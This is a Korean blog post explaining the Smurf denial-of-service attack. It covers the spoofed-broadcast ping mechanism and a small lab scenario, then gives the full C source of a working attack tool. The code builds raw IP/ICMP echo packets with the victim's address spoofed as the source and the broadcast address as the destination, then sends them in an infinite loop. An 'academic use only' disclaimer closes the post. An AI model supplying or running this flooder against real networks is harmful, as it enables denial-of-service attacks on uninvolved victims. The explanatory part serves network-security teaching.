SYNOPSIS
Smurf 공격은 DoS(Denial-of-service) 공격의 하나로 source 주소를 victim의 주소로 dest 주소를 broadcast address로 spoofing한 ping request 메시지를 네트워크에 흘리는 공격이다. 네트워크에 물린 노드들은 ping response 메시지를 victim으로 보내어 bandwidth와 네트워크 resource를 소모시키게 된다.
SCENARIO
Broadcast address 계산 방법은 Netmask를 1의 보수를 취한 값과 IP address와의 OR 연산이다.
Broadcast addr = IP | ~NETMASK
공격 설정
Victim’s IP: 192.168.41.22 / 24
Broadcast address: 192.168.41.255
ANALYSIS
네트워크에 물린 모든 노드들이 Victim의 주소로 Ping response 메시지를 전송하는 것을 확인 할 수 있다.
ATTACK SOURCE CODE
/*
* Copyright (c) 2011 Jae-young, Park <onurmark1@gmail.com>
*
* License: http://www.onurmark.co.kr/?page_id=48
*
* Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
#define PCKT_LEN 512
unsigned short csum(unsigned short *buf, int len)
{
unsigned long sum;
for (sum = 0; len > 0; len--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
int main(int argc, char **argv)
{
int s, i;
char buffer[PCKT_LEN];
struct iphdr *ipheader = (struct iphdr *)buffer;
struct icmphdr *icmpheader = (struct icmphdr *)(buffer + sizeof(struct iphdr));
struct sockaddr_in dst;
int on;
if (argc < 3) {
printf("\nUsage: %s <spoofed saddress> <broadcast address>\n", argv[0]);
exit(1);
}
on = 1;
memset(buffer, 0x0, PCKT_LEN);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("Error: socket()");
exit(1);
}
// Inform the kernel do not fill up the headers' structure, we fabricated our own
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("Error: setsockopt()");
exit(1);
}
// Set use broadcast address
if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
perror("Error: setsockopt() - boradcast");
exit(1);
}
// IP structure
ipheader->version = 4;
ipheader->ihl = sizeof(struct iphdr) >> 2;
ipheader->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr));
ipheader->ttl = 128;
ipheader->protocol = IPPROTO_ICMP;
ipheader->daddr = inet_addr(argv[2]);
ipheader->saddr = inet_addr(argv[1]);
dst.sin_family = AF_INET;
dst.sin_addr.s_addr = ipheader->daddr;
// ICMP structure
icmpheader->type = ICMP_ECHO;
icmpheader->code = 0;
icmpheader->un.echo.id = 0xae23;
icmpheader->un.echo.sequence = htons(1);
// Checksum
ipheader->check = csum((unsigned short *)buffer, (sizeof(struct iphdr) + sizeof(struct icmphdr)));
icmpheader->checksum = csum((unsigned short *)icmpheader, sizeof(struct icmphdr));
while(1) {
if (sendto(s, buffer, sizeof(struct iphdr) + sizeof(struct icmphdr), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
perror("sendto() error");
}
}
close(s);
return 0;
}
* 위 소스 코드를 사용하여 발생되는 모든 법적 책임은 사용자 본인에게 있습니다. 학술용도로만 사용하세요.

Recent Comments